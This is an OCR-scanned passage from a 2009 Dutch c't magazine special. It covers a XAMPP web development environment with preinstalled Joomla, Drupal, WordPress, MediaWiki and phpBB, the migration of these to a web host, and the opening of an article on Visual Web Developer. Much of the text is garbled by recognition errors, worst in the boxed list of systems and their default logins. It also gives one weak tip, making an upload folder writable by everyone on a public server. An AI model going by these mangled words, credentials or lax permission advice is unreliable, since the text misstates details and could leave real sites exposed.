tengewoon slecht idee om de webontwlk- 
kelomgeving op een pc te instaileren die 
via een breedbandmodem zonder NAT-rou- 
ter en firewall met internet is verbonden. Je 
hebt hier immers te maken met een testom- 
geving waaralles geoorloofd is en waarvan 
de wachtwoorden aigemeen bekend zijn. 
Ook de serversoftware hoeft niet per se de 
meest recente te zijn* Al met al zal de server 
een makkelijke proof zijn voor men sen die 
het minder goed met je voor hebben. 

Om je een idee te geven van de (on)vel- 
tigheid van het systeem ga je na het starten 
van Apache naar het XAMPP-beheer onder 
, http://Jocalhost/xampp' of klik je op de 
knop ’Admin’ in bet XAMPP Control Panel 
achter Apache* Het feit dat die aigemeen 
toegankeltjk ts, zegt eigenlijk al genoeg. 
Links in het menu staat bovenaan het item 
’Veiligheid’ Pasais je net zolang aan het sys¬ 
teem hebt zitten sleutelen tot a lie items in 
de tabel groen zijn en als ’VEILIG' te boek 
staan en je alle genoemde wachtwoorden 
hebt veranderd, kun je een poging wagen 
om poort 80 van de server op internet via 
portforwarding op je router toegankelijk te 
maken, Het is echter veel verstandiger om 




c't special 1/2009- Webdeslgn 


107 






























































Webprogrammeren | c't-ontwikkeUngsomgeving 


Eestind Br&erlim &rc|ri £tsd*iedenti Edjdw^tn Eatra tMp 

'C *±* 1 E IlMdt/Aifa-Mmt_ .■•■ - [H^[ Socvic 


ZJ 


c't-webontwikkelomgeving 


- r -- Joanna Drupal WcrftfPre^s MecfiaWtki ptipBB 

| Inhoud 

Dit programmapatokel bevat sen complete websetvetloepassing op basts van XAMFF'. die ie lohaat op een 
WSfidWte-COT^Uter taint instaleren fri die webseoferwrigeving met Apache Webserver, MySQL, PHP en Peri 
hebben we een aantal veelgebfuikle webtoepassingeii gelrilegteerd 

* Joomla (flahtrEi getnjakw, admin wafMwciDrd janmia) eenpopufair cortartman&gameffsysteern (CMS) op basis 
van PHP en MySQL 

* Drop ; L, *r gsbruikar admin uattoMnni dmpai], een anttef PHP-CMS, dal bijzofider gesduld is voor onhne 
communities 

* ( gebnillwr admin WBdffftBoni n-press)., hel papUfllISte blogSySleem OOk geSCtllkt at$ 

eenvoudig CMS 

* Mf diaWiki (t ■ - - g»bujik«r admm MpcfrwmcL nwda*ita). een kradrtig wi ki-systeem. bekend gewotde door 
Wikipedia 

* pdpBB {fiaiigif a&nm wKfriwnnrtl piipbbpw) een vee) gebroikl foium op basis van PHP 
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Via de startpagina van de webontwikkelomgeving komjezowel bij de front-end alsde 
back-end van de systemen. Je kunt in het ene browservenster de website ontwikkelen en 
in een ander venster het resuitaat controleren. 


de bestanden die je online wilt hebben op 
een server van een webhoster te zetten, 

Aperitiefjes 

Apache wordt bijgestaan door ftp-server 
FileZlIla. Er zijn twee gebrulkers. Allereerst 
de gastaecount 'anonymous'. Deze heeft 
geen wachtwoord en alleen toegang tot 
een gereserveerd gedeelte, Qaarnaast is er 
nog de gebruiker webmaster' met wacht¬ 
woord 'web 1 , die in de map htclocs mag 
lezen en schrijven. In die map staan de be¬ 
standen van de Webserver. Deze account is 
handig als je in het netwerk met een HTML- 
editor met een ingebouwde ftp-client 
werkt om de definitive pagina's naar de 
server te uploaden. Bij de softlink hebben 
we een paar van dat soort editors staan. In 
de mailserver Mercury hebben we voor alle 
admin-accounts van de systemen die in de 
ontwikkelomgeving zijn geinstalleerd al 
postbussen aangemaakt. De wachtwoorden 
zijn identiek aan de namen in de mailadres- 
sen. Die postbussen kun je beheren door bij 
een draaiende Mercury in xampp-control op 
'Admin' te klikken en dan 'Configuration / 
Manage local users' te kiezen. Het kan ech- 
ter tot problemen leiden als je een e-mail- 
adres als joomla@localhost' bij een lokale 
webapplieatie opgeeft, omdat die de gel- 
digheid van het e-maifadres test en dan een 
ontbrekend toplevel-domein meldt, Dat is 
echter geen probleem, omdat Mercury ook 


e-mails aan bijvoorbeeld [ joomla@>locafho$t. 
net' naar dezelfde account doorstuurt. 

Via het adres 'http://localhost/index. 
html 1 kom je bij de startpagina van de om- 
geving, waarvan telkens twee links naar de 
systemen leiden. De ene leidt naar de front- 
end, oftewel de pagina's die de gebruikers 
te zien krijgen. De andere ( Administration 1 } 
opent de back-end, waar de website be- 
heerd wordt, Daar waar mogelijk hebben 
we de Nederlandse taaluitbreidingen gein¬ 
stalleerd en geactiveerd. 

De vijf voorgeYnstalleerde contentma- 
nagementsystemen gebruiken MySQL-da- 
tabases, die eveneens al zijn ingencht, De 
databasenamen zijn hetzelfde als de naam 
van het cms, dus bijvoorbeeld r joomla r of 
’phpbb' Hetzelfde geldt voor de gebruiker 
die de database benadert en diens wacht¬ 
woord. Dus database mysql is gekoppeld 
aan gebruiker mysql met wachtwoord 
mysql. Deze accounts werken alleen lokaal 
en zijn via het netwerk met toegankelijk, Als 
je de databases wat nader wilt bekijken, typ 
je in het adresveld van je browser http:// 
localhost/phpmyadmin/ 1 als URL in. Gebruik 
vervofgens als gebruikersnaam ’root’ met 
wachtwoord 'mysqlt 

Menu 

Joomla! is geinstalleerd met een aantal kant- 
en-klare voorbeelden, waar je naar hartelust 
mee kunt experimenteren. Als je je in de 


back-end aanmeldt, kom je terecht in een ui- 
termate overzichtelljk menu. Htermee kun je 
makkelijk alle beheertaken uitvoeren, ^oais 
hetaanmaken van nieuwe artikelen of artike- 
len bewerken met de makkelljkeWYSIWYG- 
editor Tiny MCE. Om ervoor te zorgen dat de 
Administrator-interface werkt moet je brow¬ 
ser wel JavaScript toestaan. 

Om de inhoud te structureren deelt Joom¬ 
la! de bijdragen in secties in, die op zich weer 
een aantal categorieen kunnen bevatten. 
Ook Scheldt het systeem de content strikt 
van de lay-out. De lay-out van de website be- 
paal je met zogeheten templates. De Inhoud 
van de pagina's haalt Joomla! uit de data¬ 
base. De content wordt dan op vooraf aan- 
gegeven plekken In de lay-out gevoegd. In 
het menu 'Extensies / templatebeheer' kun 
je in plaats van de standaardlay-out 'rhuk_ 
milky way 1 de beter toegankelijke template 
'beez 1 als standaard instellen. De pagina's 
zien er daarna heel anders uit, zander dat er 
iets aan de inhoud is veranderd. In het artikei 
op p.106 gaan we dleper in op het installeren 
en gebruiken van Joomla!. In het artikei op 
p. 110 gaan we aan de slag met het maken 
van een eigen template. 

Drupa! begroet een nieuwe beheerder 
met een waarschuwing. Als je in de status- 
rapportage gaat kijken, zie je dat de cron- 
job (een systeem om onderhoudstaken op 
gezette tijden en datums te Eaten uitvoeren) 
a I een hele tijd niet is uitgevoerd. Bovendien 
zie je dat de updateberichten niet zijn in- 
geschakeld. Geen van tweeen geven direct 
aanleiding tot grote bezorgdheid: we heb¬ 
ben het zoeken naar nieuwe versies voor 
de ontwfkkellngsomgeving namelljk uitge- 
schakeld. Je hoeft echter alleen maar de link 
voor het modulebeheer te volgen en daar de 
'Update status' aan te vlnken om dat te ac- 
tiveren. Een lastiger verhaal is de cron-job. 
Die moet regelmatig het bestand cron,php in 
een browser openen. Dat kan In Windows in 
principe met delaakplanner, maar dat werkt 
alleen als de Webserver Apache actief is en 
de pagina kan uitvoeren. Maar het is ook ge- 
woon mogelijk om het bestand handmatig 
te openen door bijvoorbeeld bij de status- 
rapportage op 'cron handmatig uitvoeren 1 te 
klikken. Natuurlijk kun je er in je browser ook 
een bookmark voor aanmaken. 

Drupa I beheert de templates en de modu¬ 
les in de mappen themes en modules. Eigen 
templates en modules zet je dan in de ge- 
lijknamige submappen van sites/af! of sites/ 
default. Onze voorkeur gaat uit naar de laat- 
ste. Alleen zijn er nog geen extra modules of 
templates en bestaan deze mappen nog niet. 
Modules zijn na het uitpakken in de map 
s ites/de faults/mod ules nog niet met een ac¬ 
tief. Bij ’Beheren / Site-constructie / Modules' 
start je updatephp, waarna je de betreffende 
module kunt activeren door hem in de tabel 
aan te vinken. Het installeren van templates 
gaat op zo r n beetje dezelfde manier. 

De beheerinterface van WordPress is nog 
overzichtelijker dan die van Joomla!. Ook 
hier activeer je plug-ins en templates. Het 
installeren daarvan via de map wp-content 
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Joomla] wordt online in de browser geTnstalleerd, 


gaat zelfs nog makkelijker dan bij Drupal, 
Dat is omdat ze meestal in een Zip-bestand 
zitten en daardoor in de XAMPP-omgeving 
makkelijker te extraheren zijn dan de tar. 
gz-archieven uit de Unix-wereid. Alle ex- 
tensies in de map wp-content/plugins geeft 
Word Press in het beheerdersdashboard bij 
Plugins' weer. Daar kun je ze ook meteen 
(de)activeren. Er hoeft in de database niets 
aangepast te worden en er hoeven ook 
geen aparte scripts uitgevoerd te worden, 
Sommige plug-ins moet je nog we! confL 
gureren om ze goed te laten werken. In het 
artikel op p.34 staat meer over het werken 
met Word Press. 

MedfaWiki voigt een totaal ander con¬ 
cept dan bijvoorbeeld Joomla!. Een wiki 
is een lege pagina, die niet alleen gevuld 
kan worden door degene die de pagina 
heeft aangemaakt, maar door iedereen die 
toegang heeft tot de wiki, Toegangsrech- 
ten zijn makkelijk in te stellen. Er zijn ano- 
nieme gebruikers, aangemelde gebruikers 
en administrators. Die laatsten kunnen de 
rechten van anderen inperken om bijvoor¬ 
beeld een pagina tegen veranderingen te 
beschermen. Bij het menu-item 'Speciale 
paginal' onder hulpmiddelen 1 krijg je een 
onoverzichteiijke lijst van links naar be- 
heertools, die bij aangemelde administra¬ 
tors nog [anger is. 

De configuratie van phpBB wordt groten- 
deels in het administratordeel gedaan. Een 
link naar het Beheerderspaneer verschijnt 
op iedere pagina als je jezelf als 'admin 1 
hebt aangemeld, Om bij de beheerpagina's 
te komen moet je uit veiligheidsoverwe- 
gingen jezelf nog een keer aanmetden. 
Daar aange komen biedt de forumsoftware 
onder andere een back-upfunctie voor de 
database. Daarmee kun je op gezette tijden 
back-ups van de hele database of alleen 
van de inhoud van de tabellen maken, Als 
je deze dumps in de store-map opslaat, dan 
kan phpBB die back-up met zijn herstei- 
functie weer inlezen, Daarbij worden dan 
wel alle wijzigingen oversehreven die na 
het maken van de back-up gedaan zijn. De 
functies voor 'Back-up 1 en Herstel' staan op 
hettabbiad 'Onderhoud 1 in het administra- 
tordeel. 

Opdienen 

Hoewel het interessant is om een webont- 
wikkelsysteem lokaal te testen en de eerste 
content aan te maken, wordt het natuurlijk 
pas echt leuk als de website voor iedereen 
toegankelijk is. Om je bestanden bij een 
provider te krijgen, upload je het lokale sys- 
teem daar naartoe. Je kunt het ook daar op- 
nieuw installeren, de configuratie aanpas- 
sen en de gegevens in de MySQL-database 
importeren. 

Het kiezen van een geschikte provider 
is daarbij niet zo'n groot probleem. Ook 
al wordt er bijvoorbeeld gezegd dat een 
JoomlaMnstallatie bij een bulk-hoster niet 
zo makkelijk is, in de praktijk vait dat reuze 
mee, In prindpe kan Joomla! overal ingezet 


worden waar aan de volgende voorwaarden 
is voldaan: 15 MB webspace, MySQL 3.23.x 
of hoger, PHP 4.3.x of hoger (maar dan niet 
de PHP-reieases 4.3.9, 4.42 en 5.0.4), Apache 
1.13.19 of hoger en ondersteuning voor XML 
en ZLtb. Als je de gegevens uit de dt-web- 
ontwikkelomgeving wilt gebruiken, moet je 
provider MySQL-versie 5,x ondersteunen. 

Er zijn inmiddels ook enkefe 'gespecia- 
liseerde' Joomlal-provtders. Zij zorgen dan 
voor een geschikte serverconfiguratie en zet- 
ten daar een lege Joomlal-installatie op. Vaak 
komen daar nog kleine extraatjes bij in de 
zin van gratis templates en dergelijke, Ande¬ 
re providers bieden een 'one-cl ick'-mstallatie 
van Joomla!, WordPress en nog een aantal 
andere systemen. Dan moet je er wel op let- 
ten dat het om een moderne versie gaat. 

Joomla! 

Als er geen Joomla! geinstalleerd is, dan be- 
gint het omzetten van je lokale versie met het 
instellen van de juiste MySQL-database bij de 
provider, Je meldt je aan op de website van de 
provider bij de online adminIstratie. Het kan 
zijn dat de provider een comblnatie van da¬ 
ta basenaam, gebruikersnaam en wachtwoord 
van tevoren heeft ingesteld of dat je die hele- 
maa! zelf kunt bepalen. Dan is de combinatle 
van joomla, joomla en joomla zoals bij de dt- 
webontwikkelomgeving natuurlijk taboe, Je 
moet de toegangsgegevens wel ergens note- 
ren, want die heb je later nog nodig. 

Een alternatief voor de online administrate 
van de provider is de al genoemde beheertool 
phpMyAdmin, die de meeste providers ook 
beschlkbaar maken. Deze tool maakt in een 
keer een nieuwe gebruiker en een database 
aan, waarbij ook alle toegangsrechten met¬ 
een goed worden ingesteld. Op de startpagi- 
na kies je het item 'Rechten'. Onderaandelijst 
van aanwezigegebruikers staat de redelijkon- 


opvallende link 'Voeg een nieuwe gebruiker 
toe 1 . De gebruikersnaam en het wachtwoord 
kun je vrij kiezen. Die worden dan in het con- 
fig uratiebestand van de software opgesla- 
gen. In het blok voor de database activeer je 
'Create database with same name and grant 
all privileges'. 'Globale privileges' en 'Resource 
beperkingen' hebben we voor onze doelein- 
den niet nodig. 

Nu pak je het Joomlal-archief van de 
softiink in een lokale map uit en upload je 
die via ftp naar de provider. Het configure- 
ren gebeurt dan verder via de browser. Dat 
geldt ook voor een ai geinstalleerd systeem. 
Open de Joom3a!-map in de browser en een 
wizard hefpt je dan door de installatie heen. 
Na een paar tests wordt in stap 4 gevraagd 
om de toegangsgegevens voor de database 
en het databasetype, wat je normaal ge- 
sproken op MySQL instelt. Als een provider 
MySQLi ondersteunt, dan zal die dat zeker 
ergens meiden, 

joomla! 1.5 kan de ftp-mogelijkheden van 
PHP gebruiken voor het uploaden van be¬ 
standen. Bij de vorige versie traden er vaak 
problemen op met de toegangsrechten en 
een eventuee! geactiveerde PHP Safe Mode, 
De in Joomla! 1,5 gefntegreerde ftp-layer 
maakt het mogefijk om exfensies te instal¬ 
led n en het JoomlaLconfiguratiebestand te 
actualiseren zonder dat Apache schrrjfrech- 
ten heeft voor de daarvoor relevante bestan¬ 
den en mappen. 

De ftp-toegangsgegevens werden tijdens 
het installeren a! ingevoerd, maar kunnen 
later in de back-end ook worden opgegeven 
bij 'Website / Algemene instellingen / Server'. 
De Toegangsgegevens krijg je van de provi¬ 
der, Als die meerdere ftp-accounts toe staat, 
is het vanuit het oogpunt van veiligheid 
aan te raden een gebruiker aan te maken 
die alleen toegangsrechten heeft voor de 
Joomlal-map. Vervolgens moet daar de map 
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Bij deze lay-out denkt iedereen meteen aan Wikipedia, Media Wiki heeft echter ook 
andere skins. 


installation nog verwijderd worden, waarna 
je toegang krijgt tot de front- en back-end. 

Tussendoortje 

Voordat je beginf aan het uploaden van je 
Joomlal-mstallatie nit de lokale XAMPP-om- 
geving naar je provider moet je het wacht- 
woord voor de administrator veranderen. 
Dat is in de database opgeslagen en Is nu bij 
iedereen bekend. Log in a!s 'admin 1 en klik 
op het menu-item 'Gebruikersbeheer 1 . Klik 
dan op de (waarschijnlijk nog enlge) gebrui- 
ker ’Administrator' en vul bfj 'Nieuw wacht- 
woord' en 'Bevestig wachtwoord' tweemaal 
het nieuwe wachtwoord in en sla deze gege- 
vens dan op. 

Om de inhoud van een MySQL-database 
te exporteren schrijf je die met de genoemde 
phpM/Admin-tool naar een dumpbestand. 
De meeste providers hebben die too! ook, 
zodat je dat dumpbestand op je Webserver 
weer kunt importeren. 

In de XAMPP-omgeving start je phpMy- 
Admin via de aanroep van 'http://local host/ 
phpmyadmtn' in de browser. Links verschijnt 
een lijst van de aanwezige databases. Kies 
daar voor Joomla. Ga vervolgens rechts naar 
het tabblad ‘Exporteer 1 , waarna een formu- 
lier verschijnt. De ingevulde standaardinstel- 
lingen zijn meestal al goed. Het is wel aan 
te raden het vinkje voor 'Add DROP TABLE / 
VIEW / PROCEDURE / FUNCTION 1 te zetten r 
zodat tater bij het importeren eventuele spo- 
ren van een eerdere installatie eerst verwij¬ 
derd worden. 

Bij een grote database is het aan te raden 
ondenn de compressie op 'Gezipf of ’ge- 
gzipt' te zetten. Veel providers staan bij het 
importeren alleen SQL-bestanden kleiner 


dan 4 MB toe. Hier moet je meteen ook de 
optie VerzenderV selecteren, waardoor de 
browser weet dat het exportbestand opge¬ 
slagen moet worden en niet ais tekst moet 
worden weergegeven. Klik op 'Start' en php- 
MyAdmin schrijft een bestand op de harde 
schijf. Dit kun je daarna via ftp naar de provi¬ 
der uploaden. 

Vervolgens start je phpMyAdmin op je on¬ 
line website en selecteer je in de linkerlijst de 
eerder aangemaakte database voor Joomla!. 
Ga dan rechts naar het tabblad 'Import' en 
blader naar het zojuist aangemaakt dump¬ 
bestand. Klik op ’Start 1 en aile gegevens wor¬ 
den gei'mporteerd. Als ailes goed is gegaan, 
krijg je daarna nog een melding dat de actie 
suecesvo! was. 

Het is aan te raden deze werkwijze alleen 
toe te passen ais er niet a! een andere joom¬ 
la! op de server draait Door het importeren 
van een gegevensdump in een bestaande 
database loop je het risico dat een bestaan¬ 
de installatie corrupt wordt. Een ander, eer- 
der genoemd aandachtspunt: bij de provider 
moet net als bij de ontwikkelingsomgeving 
MySQL-versie 5.x draaien. 

Drupal 

Drupal is makkelijk te verhuizen omdat de 
meeste Instellingen in een database staan en 
net als bij ioomlaf met een SQL-dump fcun- 
nen worden overgezet. Daarnaast is het be¬ 
stand settings.php van belang. Daar in staan 
de toegangsgegevens voor de database. Het 
administrator wachtwoord kun je van tevo- 
ren wijzigen bij 'Mijn account' op het tabblad 
'Bewerken' 

Als je provider a I een basisinstal latle van 
Drupal heeft klaarstaan, is het voldoende 


om de lokale database te back-uppen en bij 
de provider weer te importeren. Daarnaast 
moet je de map sites/default in zijn geheel 
naar je website uploaden. De database en de 
gebruikersgegevens worden in sites/default/ 
settings.php aangepast. Die staan in de vari- 
abele '$db_URI4 de regefs daarboven leggen 
ult hoe de syntaxis daarvan in elkaar zit. 

Of de website die je net naar de server 
gemigreerd hebt foutvrij werkt, is te zlen in 
de eerder genoemde statusrapportage. Wel- 
licht kan Apache op de Webserver niet in 
de uploadmap sites/default/files schrijven, 
maar als je de rechten met bijvoorbeeld een 
ftp-client zo instelt dat de map files voor ie¬ 
dereen schrijfbaar is, werkt de website ook 
zonderfouten bij een webhoster. 

Als je de upload module hebt geactiveerd, 
moet je na het uploaden van de website 
naar de Webserver de map voor het tijdelijk 
opslaan van geuploade bestanden aan pas- 
sen. De manier waarop dat in de XAMPP-om¬ 
geving gebeurt, werkt bij de meeste online 
omgevingen niet. Voer bij de 'Tijdelijk map' 
bij 'Beheren / Site-instellingen / Bestandssys- 
teem 1 een map in waar de Webserver schrijf- 
rechten voor heeft. 

WordPress 

Het migreren van een WordPress-installatie 
vergt niet veel stappen, maar die moeten 
wel in de juiste volgorde uitgevoerd worden. 
Meld je eerst als admin in het lokale systeem 
aan en klik helemaal rechtsboven naast 
'Hallo’ op de gebruikersnaam. Op de daar- 
opvolgende pagina kun je dan helemaal on- 
deraan bij 'Nieuw wachtwoord' twee keerje 
wachtwoord invoeren en dat met een klik op 
'Profiel bijwerken' in de database opslaan. 

Nu kun je een dump van de databasege- 
gevens maken. Die moet je nog niet op de 
online server importeren, want eerst moet 
je de bestanden van de lokale WordPress- 
installatie naar de server uploaden. Het 
bestand wp-config.php heeft daarbij een 
speciale rol, want daar staat de toegangs- 
informatie in voor de database, die je aan 
moet passen, 

Nu kornt een byzonderheid van Word- 
Press om de hoek kijken: ook de URL van 
de weblog en de URL van de WordPress- 
installatie (en daarmee de administratorm- 
terface) zijn In de database opgeslagen. Als 
je die database vanuit een lokale installatie 
meteen naar de provider uploadt, gebeurt 
het volgende: WordPress start en stuurt de 
bezoeker naar de URL in de database, in dit 
geval dus localhost/wordpress, 

Er zijn twee mogelijkheden om die URL in 
de database aan te passen. Je kunt de data- 
basedump lokaal in een teksteditor als Note- 
pad++ openen en in de regel 'INSERT INTO 
w wp_options"' twee keer 'localhost' vervan- 
gen door het adres van je WordPress-map 
op de Webserver. Daarna kun je dit gewij- 
zigde databasebestand op de server van de 
webhoster importeren. Of je importeert het 
databasebestand zoals als het is en bewerkt 
dan met phpMyAdmin in de tabel wpjapti- 
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ons' het item 'slteurl 1 . Als dat klopt, kun je de 
beheerpagina in de browser openen, je als 
administratoraanmelden en bij 'Instellingen' 
de juiste URL's invoeren. 

In het Dashboard kun je bij Weergave 1 
met de templates {die hier 'Thema's' heten) 
de uiterlijke verscbijmngsvorm van je web¬ 
log aanpassen. Dan meet Apache wel schrijf- 
rechten hebben op de map wp-content/ 
themes en de bestanden in die map, Als je 
die bestanden uit veiligheidsoverwegingen 
liever lokaal bewerkt en dan via ftp uploadt, 
kan die map op de openbare Webserver be- 
veiligd blijven. 

MediaWiki 

In tegenstelling tot WordPress en Drupaf 
verloopt het configureren van het wiki- 
systeem MediaWiki geheel via een confi- 
guratiebestand, Dat bestand wordt bij de 
eerste installatie aangemaakt en under de 
naam LocalSettings.php opgeslagen in de 
root van de Media Wlki-installatie. Een kopie 
ervan staat in de sub map config. Alle aan- 
passingen die voor het verhuizen van een 
MediaWiki nodig zijn, kunnen dan ook in 
het origineef gemaakt worden. Als je de 
map op de Webserver eveneens mediawiki 
noemt en ook alle toegangsinstellingen van 
de database wilt behouden, kun je door het 
uploaden van de geheie medlawiki-map en 
het Importeren van een databasedump on¬ 
line meteen verde r werken. 

Maar uit het oogpunt van de veifig- 
heid moet je van tevoren toch minstens 
de administrator van de wiki een nieuw 
wachtwoord geven, Meld je in het lokale 
systeem als admin aan, kiik rechtsboven op 
’mijn voorkeuren 1 en voer dan bij het deel 
'Wachtwoord wijzigen' je oude en nieuwe 
wachtwoord in. Als je de mstallatiemap 
wilt hernoemen of de MediaWiki dieper 
in de mapstructuur van de server wilt in- 
bouwen, is het voldoende om de variabde 
'SwgScriptPath' in LocaiSettings.php aan te 
passen om ervoor te zorgen dat het sys¬ 
teem werkt 

Er is nog wel een ding waar je op moet 
letten: als in de wiki het uploaden van be¬ 
standen toegestaan is r moet je naast het 
toekennen van schrijfrechten van Apache 
voor de map images , in het configuratiebe- 
stand de variabele ’SwgEnableUploads' zet- 
ten. Als op de server Safe Mode voor PHP 
geactiveerd is, moet je bovendien in de 
map images drie extra submappen aanma- 
ken en van schrijfrechten voorzien: thumb 
voor previewafbeeldingen, archive voor 
niet meer actuele afbeeldingen en fmp voor 
afbeeldingen in het uploadproces. 

Om te verhinderen dat niet meer geldige 
paginal uit de door MediaWiki onderhou- 
den cache van de server worden weerge- 
geven, maakt het systeem alle bestanden 
daar opnieuw aan die voor de datum van 
het wijzigen van het configuratiebestand 
waren aangemaakt. Om op een productie- 
server onnodige belasting te voorkomen 
moet je voorzichtig omgaan met het con- 



Het forum systeem phpBB heeft een back-upsysteem waarmeeje de database geheel of 
ten dele kunt opslaan. 


figuratiebestand en eventuele wijzigingen 
eerst in een lokale webontwikkelomgeving 
testen. 

phpBB 

De phpBB van de webontwikkelomgeving is 
makkelijk te verhuizen. Net als in WordPress 
is er een mogelijkheid om het forum zo te in- 
stalleren dat het alleen via een bepaalde URL 
toegankelijk is en alle andere adressen daar 
naartoe omleidt maar die functie is niet actief. 
Het administratorwachtwoord is in het be- 
heerdeel te veranderen door op het tabblad 
'Gebruikers en groepen' te zoeken op admin'. 

Het kopieren van een phpBB-installatie 
naar een hoster is reddijk eenvoudig: up¬ 
load de geheie phpBB-map naar de server, 
maak een back-up van de database in de 
XAMPP-omgeving, importeer die op de 
Webserver en pas de toegangsgegevens 
voor de database in het bestand config.php 
in de phpBB-map aan. Als het forum bij de 
eerste aanroep enigszins kleurloos aandoet 
en je het idee hebt dat de stylesheets niet 
worden geladen, zijn de toegangsrechten 
niet goed ingesteld. Apache moet schrijf¬ 
rechten in de mappen files, store en cache 
hebben, Als de leden van het forum eigen 
avatars mogen uploaden, moet de map 
images/avatars/upload eveneens op de ser¬ 
ver beschrijfbaar zyn. 

Slaat phpBB aangemelde bezoekers op 
met behulp van cookies, dan moet je bij 
het verhuizen van het forum de cookie- 


insteifingen aan de nieuwe omstandighe- 
den aanpassen. Op het tabblad 'Algemeen 1 
moet je bij 'Server configuratie / Cookie' bij 
het ‘Cookie domein 1 de hostnaam van de 
server opgeven waarop het forum draait. In 
'Cookie pad' pas je de map aan, Je moet er 
daarbij op letten dat de meesfe webbrow- 
sers het 'Cookie domein' alleen accepteren 
als die minstens twee punten bevat. Het is 
aan te raden om na veranderingen aan de 
configuratie de bestanden in de map cache 
te verwijderen, omdat er anders ongeldige 
gegevens uitgeleverd worden. 

Afruimen 

In de c't-webontwikkelomgeving kun je naar 
hartelust met de afzonderiijke system en 
spelen, uitbreidingen installeren, lay-outs 
aanpassen en nog veel meer. Mocht er wat 
verkeerd gaan, dan verwljder je eenvoudig 
de map en begin je weer van voren af aan of 
zet je je laatste back-up terug, 

Ook na online publiceren van de resul- 
taten kun je verdere ontwikkelingen eerst 
lokaal uitproberen. Die moet je bij het pu¬ 
bliceren dan wel apart naar de server van de 
webhoster uploaden, omdat de beschreven 
manier met een SQL-dump alleen werkt bij 
een verhuizing naar een nieuw, kaal systeem. 
Een a I in gebruik zijnde productleserver kan 
erdoor beschadigd raken. (nkr) 
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Ontwikkelingshulp 


Webapplicaties programmeren en ontwerpen met Visual Web Developer 



Visual Web Developer Express Edition 2008 is weliswaar 
een hele mond vol, maar de naam staat dan ook voor een 
complete en gratis ontwikkelomgeving van Microsoft 
voor het webframework ASRNET, En hij is ook nog eens 
prtma geschikt voor nieuwelingen in de wereid van 
webprogrammeren. Als voorbeeld maken we een kleine 
databasetoepassing voor het overzichtelijk beheren van 
jemuziek-dvd's* 


D e gratis Visual Web Developer heeft 
vergeleken met zijn voorganger een 
hoop extra's, Zo kun je als website- 
ontwikkelaar CSS-dasses en elementen via 
WYSIWYG toevoegen, Microsofts Ajax-btblio- 
theek en de nieuwe databasetaal LINQ van 
het .NET-framework - even eens een nieuw 
onderdeel van het webontwikkelpakket 
- zijn erg handig bij het asynchroon nala- 
den van online gegevens of bij database- 
requests. 

Scripts die gebruikmaken van de Ajax- 
implementatie van Microsoft zelf, profiteren 
van de automatische codeaanvulling Intelli- 
Sense. Ook de ingebouwde debugger kan m 
met JavaScript en Ajax omgaan. Net als bij de 
versie 2005 gelden voor deze freeware lek- 
ker ruime licentievoorwaarden. Zo mogen de 
websites die je met Visual Web Developer ont- 
wikkelt, ook commercieel gebruikt worden. 

Het toegenomen aantal functies van de 
Web Developer heeft wel een kleln nadeekje 
moet minstens zo'n 2 GB aan vrije ruimte op 
je schijf hebben om de ontwikkelomgeving, 


MSDN-bibliotheek en SQLServer te kunnen 
herbergen. Daarbij komen dan ook nog je 
eigen bestanden, 

Ook wat betreft geheugen- en processor- 
capadteit moet je niet te krap zitten. Theo- 
retisch heeft het pakket genoeg aan 192 MB 
RAM en een 1 ( 5GHz-cpu, maar echt lekker 
loopt het allemaal pas met een processor 
van 2 GHz of meer en 1 GB werkgeheugen. 
Vooral Vista-gebruikers moeten ruim in hun 
resources zitten. 

Studio-inrichfing 

Bij de standaardinstellingen van de instal- 
latiewizard moet je hooguit even stilstaan 
bij de extra's: de MSDN-bibliotheek is ook te 
vervangen door een snelle internetverbin- 
ding en niet elke webapplicatie heeft een 
database op een eigen SQL Server nodig. 
Voor ons voorbeeldproject is een SQL Server 
een vereiste, maar die kun je ook via het net¬ 
work benaderen en mag dus op een andere 
pc/server draaien. 


De lay-out van de ontwikkelomgeving is 
slnds de vorige versie niet echt veranderd 
en zet een Mein beeldscherm behoorlijk vol. 
Aan de linkerkant staat de toolbox met kant- 
en-k!are stuurelementen, in het midden de 
werkplek om je websites te ontwerpen en 
code te schrijven en rechts zie je de Solution 
Explorer, de Database Explorer en het Proper- 
ties-venster, Als je het datatype wljzigt of van 
de ontwikkel- naar de debug-modus switch!, 
passen de menu's en de vensters zich auto- 
matisch aan. De vensters zijn te verplaatsen 
en tegen de rand te plakken, maar je kunt 
ze ook samenvoegen als tabs. De menu's en 
sneltoetsen kun je vrij mstellen. 

Met Shift+Alt+N of via het File-menu maak 
je een nieuwe website aan. Daarna moet je 
de naam en het type website opgeven, de 
program meertaal (Visual Basic of C#) Mezen 
en aangeven waar de nieuwe site moet wor¬ 
den opgeslagen. Vooral over de program- 
meertaal moet je even goed nadenken. Je 
kunt met Visual Web Developer namelijk niet 
switchen tussen talen binnen een website. 
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Een nieuw gei’nstalleerde Visual Web Developer, Rechts komen in de Solution en Data¬ 
base Explorer de project re sources te staan. 


Dvd-kast 

We zullen aan de hand van een kleine data¬ 
basetoepassing laten zien wat de IDE alle- 
maa! kan. We maken een digitale dvd-kast, 
waarin we onze muziek-dvd's plaatsen en de 
metadata en afbeeld ingen automatisch van 
Amazon laten komen. 

Vo or dit project kiezen we eerst voor een 
'Empty Web Site', de programmeertaa! Vi¬ 
sual Basic en het lokale bestandssysteem 
als opslaglocatie, in ons geva! 'dvdkasf. Het 
projecttype ASRNET Web Site' maakt in te- 
genstelling tot 'Empty Web Site' al enkele 
bestanden en mappen aan, maar die hebben 
we nu niet nodig, 

De eerste stap van lege website naar een 
complete applicatie gaat via een aantal in- 
stellingen voor de website in XML-formaat. 
In Visual Web Developer zit al standaard een 
sjabloon voor een dergelijke 'Web Configura¬ 
tion File 1 dleje met 'File / New File., / (Ctrl+N) 
aan je website toevoegt. In de meeste geval- 
len hoef je aan het bestand web.config zelf 
niets te veranderem Visual Web Developer 
neemt automatisch alle belangrijke instellin- 
gen over. Dit bestand kun je dan ook onver- 
anderd siuiten. 

Vervolgens gaan we een sjabloon voor 
de toepassing maken, De IDE heeft ook voor 
deze zogeheten Master Page een kant-en- 
klaar voorbeeld dat je alleen via 'New File' 
aan je project kunt toevoegen, Je hoeft ah 
leen de bestandsnaam te veranderen in 
basic.master; de andere instellingen staan 
standaard goed. Als programmeertaa! is 
Visual Bask ingesteld. Door het vinkje voor 
'Place code in separate file' sfaat de ontwik- 
kelomgeving de programmacode en de 
webpagina in twee a parte bestanden op, Zo 
wordt voorkomen dat er spaghetticode ge- 
programmeerd wordt die weliswaar snel ge- 
schreven, maar moeilijk te onderhouden is. 

De lege sjabloonpagina die dan gemaakt 
